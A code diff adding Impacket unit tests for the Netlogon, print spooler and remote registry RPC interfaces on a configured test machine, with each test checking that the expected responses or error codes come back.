+            if str(e).find('STATUS_NO_SUCH_USER') < 0:
+                raise
+
+    @pytest.mark.xfail
+    def test_NetrLogonSamLogon(self):
+        dce, rpctransport = self.connect()
+        self.authenticate(dce)
+        request = nrpc.NetrLogonSamLogon()
+        request['LogonServer'] = self.serverName + '\x00'
+        request['ComputerName'] = self.machine_user + '\x00'
+        request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation
+        request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation
+        request['LogonInformation']['LogonInteractive']['Identity']['LogonDomainName'] = self.domain
+        request['LogonInformation']['LogonInteractive']['Identity']['ParameterControl'] = 2
+        request['LogonInformation']['LogonInteractive']['Identity']['UserName'] = self.username
+        request['LogonInformation']['LogonInteractive']['Identity']['Workstation'] = ''
+        if len(self.hashes):
+            blmhash = self.blmhash
+            bnthash = self.bnthash
+        else:
+            blmhash = ntlm.LMOWFv1(self.password)
+            bnthash = ntlm.NTOWFv1(self.password)
+
+        try:
+            from Cryptodome.Cipher import ARC4
+        except Exception:
+            print("Warning: You don't have any crypto installed. You need PyCrypto")
+            print("See http://www.pycrypto.org/")
+
+        rc4 = ARC4.new(self.sessionKey)
+        blmhash = rc4.encrypt(blmhash)
+        rc4 = ARC4.new(self.sessionKey)
+        bnthash = rc4.encrypt(bnthash)
+
+        request['LogonInformation']['LogonInteractive']['LmOwfPassword'] = blmhash
+        request['LogonInformation']['LogonInteractive']['NtOwfPassword'] = bnthash
+        request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo2
+        request['Authenticator'] = self.update_authenticator()
+        request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
+        request['ReturnAuthenticator']['Timestamp'] = 0
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('STATUS_NO_SUCH_USER') < 0:
+                raise
+
+    @pytest.mark.xfail
+    def test_NetrDatabaseDeltas(self):
+        dce, rpctransport = self.connect()
+        self.authenticate(dce)
+        request = nrpc.NetrDatabaseDeltas()
+        request['PrimaryName'] = self.serverName + '\x00'
+        request['ComputerName'] = self.machine_user + '\x00'
+        request['Authenticator'] = self.update_authenticator()
+        request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
+        request['ReturnAuthenticator']['Timestamp'] = 0
+        request['DatabaseID'] = 0
+        # request['DomainModifiedCount'] = 1
+        request['PreferredMaximumLength'] = 0xffffffff
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('STATUS_NOT_SUPPORTED') < 0:
+                raise
+
+    @pytest.mark.xfail
+    def test_NetrDatabaseSync2(self):
+        dce, rpctransport = self.connect()
+        self.authenticate(dce)
+        request = nrpc.NetrDatabaseSync2()
+        request['PrimaryName'] = self.serverName + '\x00'
+        request['ComputerName'] = self.machine_user + '\x00'
+        request['Authenticator'] = self.update_authenticator()
+        request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
+        request['ReturnAuthenticator']['Timestamp'] = 0
+        request['DatabaseID'] = 0
+        request['RestartState'] = nrpc.SYNC_STATE.NormalState
+        request['SyncContext'] = 0
+        request['PreferredMaximumLength'] = 0xffffffff
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('STATUS_NOT_SUPPORTED') < 0:
+                raise
+
+    @pytest.mark.xfail
+    def test_NetrDatabaseSync(self):
+        dce, rpctransport = self.connect()
+        self.authenticate(dce)
+        request = nrpc.NetrDatabaseSync()
+        request['PrimaryName'] = self.serverName + '\x00'
+        request['ComputerName'] = self.machine_user + '\x00'
+        request['Authenticator'] = self.update_authenticator()
+        request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
+        request['ReturnAuthenticator']['Timestamp'] = 0
+        request['DatabaseID'] = 0
+        request['SyncContext'] = 0
+        request['PreferredMaximumLength'] = 0xffffffff
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('STATUS_NOT_SUPPORTED') < 0:
+                raise
+
+    @pytest.mark.xfail
+    def test_NetrDatabaseRedo(self):
+        dce, rpctransport = self.connect()
+        self.authenticate(dce)
+        request = nrpc.NetrDatabaseRedo()
+        request['PrimaryName'] = self.serverName + '\x00'
+        request['ComputerName'] = self.machine_user + '\x00'
+        request['Authenticator'] = self.update_authenticator()
+        request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
+        request['ReturnAuthenticator']['Timestamp'] = 0
+        request['ChangeLogEntry'] = NULL
+        request['ChangeLogEntrySize'] = 0
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            # The caller is not a BDC
+            if str(e).find('STATUS_NOT_SUPPORTED') < 0:
+                raise
+
+    def test_DsrEnumerateDomainTrusts(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.DsrEnumerateDomainTrusts()
+        request['ServerName'] = self.serverName + '\x00'
+        request['Flags'] = 1
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('STATUS_NOT_SUPPORTED') < 0:
+                raise
+
+    def test_NetrEnumerateTrustedDomainsEx(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.NetrEnumerateTrustedDomainsEx()
+        request['ServerName'] = NULL
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('STATUS_NOT_SUPPORTED') < 0:
+                raise
+
+    def test_NetrEnumerateTrustedDomains(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.NetrEnumerateTrustedDomains()
+        request['ServerName'] = NULL
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('STATUS_NOT_SUPPORTED') < 0:
+                raise
+
+    @pytest.mark.xfail
+    def test_NetrGetForestTrustInformation(self):
+        dce, rpctransport = self.connect()
+        self.authenticate(dce)
+        request = nrpc.NetrGetForestTrustInformation()
+        request['ServerName'] = self.serverName + '\x00'
+        request['ComputerName'] = self.machine_user + '\x00'
+        request['Authenticator'] = self.update_authenticator()
+        request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
+        request['ReturnAuthenticator']['Timestamp'] = 0
+        request['Flags'] = 0
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            # The caller is not a DC in a different domain
+            if str(e).find('STATUS_NOT_IMPLEMENTED') < 0 and str(e).find('STATUS_ACCESS_DENIED')< 0:
+                raise
+
+    def test_DsrGetForestTrustInformation(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.DsrGetForestTrustInformation()
+        request['ServerName'] = self.serverName + '\x00'
+        request['TrustedDomainName'] = self.domain + '\x00'
+        request['Flags'] = 0
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            # The client doesn't have sufficient privilege with the Access Request mask set to NETLOGON_FTINFO_ACCESS?
+            if str(e).find('ERROR_NO_SUCH_DOMAIN') < 0 and str(e).find('rpc_s_access_denied') < 0:
+                raise
+
+    @pytest.mark.xfail
+    def test_NetrServerGetTrustInfo(self):
+        dce, rpctransport = self.connect()
+        self.authenticate(dce)
+        request = nrpc.NetrServerGetTrustInfo()
+        request['TrustedDcName'] = self.serverName + '\x00'
+        request['AccountName'] = self.machine_user + '\x00'
+        request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
+        request['ComputerName'] = self.machine_user + '\x00'
+        request['Authenticator'] = self.update_authenticator()
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('ERROR_NO_SUCH_DOMAIN') < 0:
+                raise
+
+    @pytest.mark.xfail
+    def test_hNetrServerGetTrustInfo(self):
+        dce, rpctransport = self.connect()
+        self.authenticate(dce)
+
+        try:
+            nrpc.hNetrServerGetTrustInfo(dce, self.serverName, self.machine_user,
+                                         nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
+                                         self.machine_user, self.update_authenticator())
+        except DCERPCException as e:
+            if str(e).find('ERROR_NO_SUCH_DOMAIN') < 0:
+                raise
+
+    def test_NetrLogonGetTrustRid(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.NetrLogonGetTrustRid()
+        request['ServerName'] = NULL
+        request['DomainName'] = self.domain + '\x00'
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            # The client doesn't have sufficient privilege with the Access Request mask set to NETLOGON_SERVICE_ACCESS?
+            if str(e).find('rpc_s_access_denied') < 0:
+                raise
+
+    def test_NetrLogonComputeServerDigest(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.NetrLogonComputeServerDigest()
+        request['ServerName'] = NULL
+        #TODO: get the RID of the server
+        request['Rid'] = 1001
+        request['Message'] = b'HOLABETOCOMOANDAS\x00'
+        request['MessageSize'] = len(b'HOLABETOCOMOANDAS\x00')
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('rpc_s_access_denied') < 0:
+                raise
+
+    def test_NetrLogonComputeClientDigest(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.NetrLogonComputeClientDigest()
+        request['ServerName'] = NULL
+        request['DomainName'] = self.domain + '\x00'
+        request['Message'] = b'HOLABETOCOMOANDAS\x00'
+        request['MessageSize'] = len(request['Message'])
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('rpc_s_access_denied') < 0:
+                raise
+
+    @pytest.mark.xfail
+    def test_NetrLogonSendToSam(self):
+        dce, rpctransport = self.connect()
+        self.authenticate(dce)
+        request = nrpc.NetrLogonSendToSam()
+        request['PrimaryName'] = self.serverName + '\x00'
+        request['ComputerName'] = self.machine_user + '\x00'
+        request['Authenticator'] = self.update_authenticator()
+        request['OpaqueBuffer'] = b'HOLABETOCOMOANDAS\x00'
+        request['OpaqueBufferSize'] = len(b'HOLABETOCOMOANDAS\x00')
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            # The caller is not a BDC or RODC
+            if str(e).find('STATUS_ACCESS_DENIED') < 0:
+                raise
+
+    def test_NetrLogonSetServiceBits(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.NetrLogonSetServiceBits()
+        request['ServerName'] = NULL
+        request['ServiceBitsOfInterest'] = 1 << 7
+        request['ServiceBits'] = 1 << 7
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            # The caller is not local.
+            if str(e).find('rpc_s_access_denied') < 0:
+                raise
+
+    def test_NetrLogonGetTimeServiceParentDomain(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.NetrLogonGetTimeServiceParentDomain()
+        request['ServerName'] = self.serverName + '\x00'
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            # ERROR_NO_SUCH_DOMAIN: The DC is at the root of the forest
+            if str(e).find('rpc_s_access_denied') < 0 and str(e).find('ERROR_NO_SUCH_DOMAIN') < 0:
+                raise
+
+    def test_NetrLogonControl2Ex(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.NetrLogonControl2Ex()
+        request['ServerName'] = NULL
+        request['FunctionCode'] = nrpc.NETLOGON_CONTROL_FIND_USER
+        request['QueryLevel'] = 4
+        request['Data']['tag'] = 8
+        request['Data']['UserName'] = self.username + '\x00'
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            # 0x8ad: Not implemented in SMB?
+            if str(e).find('rpc_s_access_denied') < 0 and str(e).find('0x8ad') < 0:
+                raise
+
+    def test_NetrLogonControl2(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.NetrLogonControl2()
+        request['ServerName'] = NULL
+        request['FunctionCode'] = nrpc.NETLOGON_CONTROL_FIND_USER
+        request['QueryLevel'] = 4
+        request['Data']['tag'] = 8
+        request['Data']['UserName'] = self.username + '\x00'
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            # 0x8ad: Not implemented in SMB?
+            if str(e).find('rpc_s_access_denied') < 0 and str(e).find('0x8ad') < 0:
+                raise
+
+    def test_NetrLogonControl(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.NetrLogonControl()
+        request['ServerName'] = NULL
+        request['FunctionCode'] = nrpc.NETLOGON_CONTROL_QUERY
+        request['QueryLevel'] = 4
+        request['Data']['tag'] = 65534
+        request['Data']['DebugFlag'] = 1
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('ERROR_INVALID_LEVEL') < 0:
+                raise
+
+    def test_NetrLogonUasLogon(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.NetrLogonUasLogon()
+        request['ServerName'] = NULL
+        request['UserName'] = self.username + '\x00'
+        request['Workstation'] = self.serverName + '\x00'
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('rpc_s_access_denied') < 0:
+                raise
+
+    def test_NetrLogonUasLogoff(self):
+        dce, rpctransport = self.connect()
+        request = nrpc.NetrLogonUasLogoff()
+        request['ServerName'] = NULL
+        request['UserName'] = self.username + '\x00'
+        request['Workstation'] = self.serverName + '\x00'
+
+        try:
+            dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('rpc_s_access_denied') < 0:
+                raise
+
+
+@pytest.mark.remote
+class NRPCTestsSMBTransport(NRPCTests, unittest.TestCase):
+    string_binding = r"ncacn_np:{0.machine}[\PIPE\netlogon]"
+    string_binding_formatting = DCERPCTests.STRING_BINDING_FORMATTING
+
+
+@pytest.mark.remote
+class NRPCTestsTCPTransport(NRPCTests, unittest.TestCase):
+    protocol = "ncacn_ip_tcp"
+    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER
+
+
+# Process command-line arguments.
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dcerpc/test_par.py b/tests/dcerpc/test_par.py
new file mode 100644
index 0000000..a61ac75
--- /dev/null
+++ b/tests/dcerpc/test_par.py
@@ -0,0 +1,98 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Tested so far:
+#   (h)RpcAsyncEnumPrinters
+#   (h)RpcAsyncEnumPrinterDrivers
+#   (h)RpcAsyncGetPrinterDriverDirectory
+#
+# Not yet:
+#   (h)RpcAsyncOpenPrinter
+#   (h)RpcAsyncClosePrinter
+#   (h)RpcAsyncAddPrinterDriver
+#   RpcAsyncAddPrinter
+#
+import pytest
+import unittest
+from six import assertRaisesRegex
+from tests.dcerpc import DCERPCTests
+
+from impacket.dcerpc.v5 import par
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+
+
+class PARTests(DCERPCTests):
+    iface_uuid = par.MSRPC_UUID_PAR
+    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER
+    authn = True
+    authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+
+    def test_RpcAsyncEnumPrinters(self):
+        dce, rpc_transport = self.connect()
+        request = par.RpcAsyncEnumPrinters()
+        request['Flags'] = 0
+        request['Name'] = NULL
+        request['pPrinterEnum'] = NULL
+        request['Level'] = 0
+        resp = dce.request(request, par.MSRPC_UUID_WINSPOOL)
+        resp.dump()
+
+    def test_hRpcAsyncEnumPrinters(self):
+        dce, rpc_transport = self.connect()
+        resp = par.hRpcAsyncEnumPrinters(dce, NULL)
+        resp.dump()
+
+    def test_RpcAsyncEnumPrinterDrivers(self):
+        dce, rpc_transport = self.connect()
+        request = par.RpcAsyncEnumPrinterDrivers()
+        request['pName'] = NULL
+        request['pEnvironment'] = NULL
+        request['Level'] = 1
+        request['pDrivers'] = NULL
+        request['cbBuf'] = 0
+        with assertRaisesRegex(self, par.DCERPCException, "ERROR_INSUFFICIENT_BUFFER"):
+            dce.request(request, par.MSRPC_UUID_WINSPOOL)
+
+    def test_hRpcAsyncEnumPrinterDrivers(self):
+        dce, rpc_transport = self.connect()
+        resp = par.hRpcAsyncEnumPrinterDrivers(dce, NULL, NULL, 1)
+        resp.dump()
+
+    def test_RpcAsyncGetPrinterDriverDirectory(self):
+        dce, rpc_transport = self.connect()
+        request = par.RpcAsyncGetPrinterDriverDirectory()
+        request['pName'] = NULL
+        request['pEnvironment'] = NULL
+        request['Level'] = 1
+        request['pDriverDirectory'] = NULL
+        request['cbBuf'] = 0
+        with assertRaisesRegex(self, par.DCERPCException, "ERROR_INSUFFICIENT_BUFFER"):
+            dce.request(request, par.MSRPC_UUID_WINSPOOL)
+
+    def test_hRpcAsyncGetPrinterDriverDirectory(self):
+        dce, rpc_transport = self.connect()
+        resp = par.hRpcAsyncGetPrinterDriverDirectory(dce, NULL, NULL, 1)
+        resp.dump()
+
+
+@pytest.mark.remote
+class PARTestsTCPTransport(PARTests, unittest.TestCase):
+    protocol = "ncacn_ip_tcp"
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+
+
+@pytest.mark.remote
+class PARTestsTCPTransport64(PARTests, unittest.TestCase):
+    protocol = "ncacn_ip_tcp"
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64
+
+
+# Process command-line arguments.
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/dcerpc/test_rprn.py b/tests/dcerpc/test_rprn.py
new file mode 100644
index 0000000..63d9e95
--- /dev/null
+++ b/tests/dcerpc/test_rprn.py
@@ -0,0 +1,206 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Tested so far:
+#   (h)RpcEnumPrinters
+#   (h)RpcOpenPrinter
+#   (h)RpcClosePrinter
+#   (h)RpcOpenPrinterEx
+#   (h)RpcRemoteFindFirstPrinterChangeNotificationEx
+# Not yet
+#   RpcEnumPrinterDrivers
+#   RpcAddPrinterDriverEx
+#
+from __future__ import division
+from __future__ import print_function
+
+import pytest
+import unittest
+from six import assertRaisesRegex
+from tests.dcerpc import DCERPCTests
+
+from impacket.dcerpc.v5 import rprn
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.structure import hexdump
+
+
+class RPRNTests(DCERPCTests):
+    iface_uuid = rprn.MSRPC_UUID_RPRN
+    string_binding = r'ncacn_np:{0.machine}[\PIPE\spoolss]'
+    authn = True
+
+    def test_RpcEnumPrinters(self):
+        dce, rpctransport = self.connect()
+        request = rprn.RpcEnumPrinters()
+        request['Flags'] = rprn.PRINTER_ENUM_LOCAL
+        request['Name'] = NULL
+        request['pPrinterEnum'] = NULL
+        request['Level'] = 1
+        request.dump()
+
+        with assertRaisesRegex(self, rprn.DCERPCSessionError, "ERROR_INSUFFICIENT_BUFFER") as cm:
+            dce.request(request)
+        bytesNeeded = cm.exception.get_packet()['pcbNeeded']
+
+        request = rprn.RpcEnumPrinters()
+        request['Flags'] = rprn.PRINTER_ENUM_LOCAL
+        request['Name'] = NULL
+        request['Level'] = 1
+
+        request['cbBuf'] = bytesNeeded
+        request['pPrinterEnum'] = b'a'*bytesNeeded
+
+        request.dump()
+        resp = dce.request(request)
+        resp.dump()
+        hexdump(b''.join(resp['pPrinterEnum']))
+
+    def test_hRpcEnumPrinters(self):
+        dce, rpctransport = self.connect()
+        resp = rprn.hRpcEnumPrinters(dce, rprn.PRINTER_ENUM_LOCAL, NULL, 1)
+        hexdump(b''.join(resp['pPrinterEnum']))
+
+    def test_RpcOpenPrinter(self):
+        dce, rpctransport = self.connect()
+        request = rprn.RpcOpenPrinter()
+        request['pPrinterName'] = "\\\\%s\x00" % self.machine
+        request['pDatatype'] = NULL
+        request['pDevModeContainer']['pDevMode'] = NULL
+        request['AccessRequired'] = rprn.SERVER_READ
+        request.dump()
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hRpcOpenPrinter(self):
+        dce, rpctransport = self.connect()
+        resp = rprn.hRpcOpenPrinter(dce, '\\\\%s\x00' % self.machine)
+        resp.dump()
+
+    def test_RpcGetPrinterDriverDirectory(self):
+        dce, rpctransport = self.connect()
+        request = rprn.RpcGetPrinterDriverDirectory()
+        request['pName'] = NULL
+        request['pEnvironment'] = NULL
+        request['Level'] = 1
+        request['pDriverDirectory'] = NULL
+        request['cbBuf'] = 0
+        request.dump()
+        with assertRaisesRegex(self, rprn.DCERPCSessionError, "ERROR_INSUFFICIENT_BUFFER"):
+            dce.request(request)
+
+    def test_hRpcGetPrinterDriverDirectory(self):
+        dce, rpctransport = self.connect()
+        resp = rprn.hRpcGetPrinterDriverDirectory(dce, NULL, NULL, 1)
+        resp.dump()
+
+    def test_RpcClosePrinter(self):
+        dce, rpctransport = self.connect()
+
+        request = rprn.RpcOpenPrinter()
+        request['pPrinterName'] = "\\\\%s\x00" % self.machine
+        request['pDatatype'] = NULL
+        request['pDevModeContainer']['pDevMode'] = NULL
+        request['AccessRequired'] = rprn.SERVER_READ
+        request.dump()
+        resp = dce.request(request)
+        resp.dump()
+
+        request = rprn.RpcClosePrinter()
+        request['phPrinter'] = resp['pHandle']
+        request.dump()
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hRpcClosePrinter(self):
+        dce, rpctransport = self.connect()
+        resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % self.machine)
+        resp.dump()
+        resp = rprn.hRpcClosePrinter(dce, resp['pHandle'])
+        resp.dump()
+
+    def test_RpcOpenPrinterEx(self):
+        dce, rpctransport = self.connect()
+        request = rprn.RpcOpenPrinterEx()
+        request['pPrinterName'] = "\\\\%s\x00" % self.machine
+        request['pDatatype'] = NULL
+        request['AccessRequired'] = rprn.SERVER_READ
+        request['pDevModeContainer']['pDevMode'] = NULL
+        request['pClientInfo']['Level'] = 1
+        request['pClientInfo']['ClientInfo']['tag'] = 1
+        request['pClientInfo']['ClientInfo']['pClientInfo1']['dwSize'] = 28
+        request['pClientInfo']['ClientInfo']['pClientInfo1']['pMachineName'] = "%s\x00" % self.machine
+        request['pClientInfo']['ClientInfo']['pClientInfo1']['pUserName'] = "%s\\%s\x00" % (self.domain, self.username)
+        request['pClientInfo']['ClientInfo']['pClientInfo1']['dwBuildNum'] = 0x0
+        request['pClientInfo']['ClientInfo']['pClientInfo1']['dwMajorVersion'] = 0x00000000
+        request['pClientInfo']['ClientInfo']['pClientInfo1']['dwMinorVersion'] = 0x00000000
+        request['pClientInfo']['ClientInfo']['pClientInfo1']['wProcessorArchitecture'] = 0x0009
+        request.dump()
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hRpcOpenPrinterEx(self):
+        dce, rpctransport = self.connect()
+        clientInfo = rprn.SPLCLIENT_CONTAINER()
+        clientInfo['Level'] = 1
+        clientInfo['ClientInfo']['tag'] = 1
+        clientInfo['ClientInfo']['pClientInfo1']['dwSize'] = 28
+        clientInfo['ClientInfo']['pClientInfo1']['pMachineName'] = "%s\x00" % self.machine
+        clientInfo['ClientInfo']['pClientInfo1']['pUserName'] = "%s\\%s\x00" % (self.domain, self.username)
+        clientInfo['ClientInfo']['pClientInfo1']['dwBuildNum'] = 0x0
+        clientInfo['ClientInfo']['pClientInfo1']['dwMajorVersion'] = 0x00000000
+        clientInfo['ClientInfo']['pClientInfo1']['dwMinorVersion'] = 0x00000000
+        clientInfo['ClientInfo']['pClientInfo1']['wProcessorArchitecture'] = 0x0009
+
+        resp = rprn.hRpcOpenPrinterEx(dce, "\\\\%s\x00" % self.machine, pClientInfo=clientInfo)
+        resp.dump()
+
+    def test_RpcRemoteFindFirstPrinterChangeNotificationEx(self):
+        dce, rpctransport = self.connect()
+
+        request = rprn.RpcOpenPrinter()
+        request['pPrinterName'] = "\\\\%s\x00" % self.machine
+        request['pDatatype'] = NULL
+        request['pDevModeContainer']['pDevMode'] = NULL
+        request['AccessRequired'] = rprn.SERVER_READ | rprn.SERVER_ALL_ACCESS | rprn.SERVER_ACCESS_ADMINISTER
+        request.dump()
+        resp = dce.request(request)
+        resp.dump()
+
+        request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
+        request['hPrinter'] = resp['pHandle']
+        request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB
+        request['pszLocalMachine'] = "\\\\%s\x00" % self.machine
+        request['pOptions'] = NULL
+        request.dump()
+        with assertRaisesRegex(self, rprn.DCERPCSessionError, "ERROR_INVALID_HANDLE"):
+            dce.request(request)
+
+    def test_hRpcRemoteFindFirstPrinterChangeNotificationEx(self):
+        dce, rpctransport = self.connect()
+
+        resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % self.machine)
+
+        with assertRaisesRegex(self, rprn.DCERPCSessionError, "ERROR_INVALID_HANDLE"):
+            rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(dce, resp['pHandle'],
+                                                                rprn.PRINTER_CHANGE_ADD_JOB,
+                                                                pszLocalMachine="\\\\%s\x00" % self.machine)
+
+
+@pytest.mark.remote
+class RPRNTestsSMBTransport(RPRNTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+
+
+@pytest.mark.remote
+class RPRNTestsSMBTransport64(RPRNTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64
+
+
+# Process command-line arguments.
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/dcerpc/test_rrp.py b/tests/dcerpc/test_rrp.py
new file mode 100644
index 0000000..751962b
--- /dev/null
+++ b/tests/dcerpc/test_rrp.py
@@ -0,0 +1,757 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Tested so far:
+#   OpenClassesRoot
+#   OpenCurrentUser
+#   OpenLocalMachine
+#   OpenPerformanceData
+#   OpenUsers
+#   BaseRegCloseKey
+#   (h)BaseRegCreateKey
+#   (h)BaseRegSetValue
+#   (h)BaseRegDeleteKey
+#   (h)BaseRegEnumKey
+#   (h)BaseRegEnumValue
+#   BaseRegFlushKey
+#   BaseRegGetKeySecurity
+#   BaseRegOpenKey
+#   hBaseRegQueryInfoKey
+#   (h)BaseRegQueryValue
+#   (h)BaseRegReplaceKey
+#   (h)BaseRegRestoreKey
+#   (h)BaseRegSaveKey
+#   (h)BaseRegGetVersion
+#   (h)OpenCurrentConfig
+#   (h)BaseRegQueryMultipleValues
+#   (h)BaseRegSaveKeyEx
+#   (h)OpenPerformanceText
+#   (h)OpenPerformanceNlsText
+#   BaseRegQueryMultipleValues2
+#   BaseRegDeleteKeyEx
+#   (h)BaseRegLoadKey
+#   (h)BaseRegUnLoadKey
+#   hBaseRegDeleteValue
+# Not yet:
+#   BaseRegSetKeySecurity
+#
+from __future__ import division
+from __future__ import print_function
+import pytest
+import unittest
+from tests.dcerpc import DCERPCTests
+
+from impacket.dcerpc.v5 import transport
+from impacket.dcerpc.v5 import rrp, scmr
+from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, OWNER_SECURITY_INFORMATION
+
+
+class RRPTests(DCERPCTests):
+    iface_uuid = rrp.MSRPC_UUID_RRP
+    string_binding = r"ncacn_np:{0.machine}[\PIPE\winreg]"
+    authn = True
+
+    test_key = "BETO\x00"
+    test_value_name = "BETO2\x00"
+    test_value_data = "HOLA COMO TE VA\x00"
+
+    def setUp(self):
+        super(RRPTests, self).setUp()
+        self.rrp_started = False
+
+    def connect_scmr(self):
+        rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.machine)
+        if hasattr(rpctransport, 'set_credentials'):
+            # This method exists only for selected protocol sequences.
+            rpctransport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash)
+        dce = rpctransport.get_dce_rpc()
+        # dce.set_max_fragment_size(32)
+        dce.connect()
+        dce.bind(scmr.MSRPC_UUID_SCMR)
+        return dce, rpctransport
+
+    def open_scmanager(self, dce):
+        lpMachineName = 'DUMMY\x00'
+        lpDatabaseName = 'ServicesActive\x00'
+        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | \
+                        scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | \
+                        scmr.SERVICE_ENUMERATE_DEPENDENTS | scmr.SC_MANAGER_ENUMERATE_SERVICE
+        resp = scmr.hROpenSCManagerW(dce, lpMachineName, lpDatabaseName, desiredAccess)
+        sc_handle = resp['lpScHandle']
+        return sc_handle
+
+    def start_rrp_service(self, dce, sc_handle):
+        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | \
+                        scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS
+
+        resp = scmr.hROpenServiceW(dce, sc_handle, 'RemoteRegistry\x00', desiredAccess)
+        serviceHandle = resp['lpServiceHandle']
+        try:
+            scmr.hRStartServiceW(dce, serviceHandle)
+        except Exception as e:
+            if str(e).find('ERROR_SERVICE_ALREADY_RUNNING') >= 0:
+                pass
+            else:
+                raise
+        scmr.hRCloseServiceHandle(dce, sc_handle)
+        self.rrp_started = True
+
+    def connect(self):
+        if not self.rrp_started:
+            dce, rpctransport = self.connect_scmr()
+            sc_handle = self.open_scmanager(dce)
+            self.start_rrp_service(dce, sc_handle)
+        return super(RRPTests, self).connect()
+
+    def open_local_machine(self, dce):
+        resp = rrp.hOpenLocalMachine(dce, MAXIMUM_ALLOWED | rrp.KEY_WOW64_32KEY | rrp.KEY_ENUMERATE_SUB_KEYS)
+        return resp['phKey']
+
+    def test_OpenClassesRoot(self):
+        dce, rpctransport = self.connect()
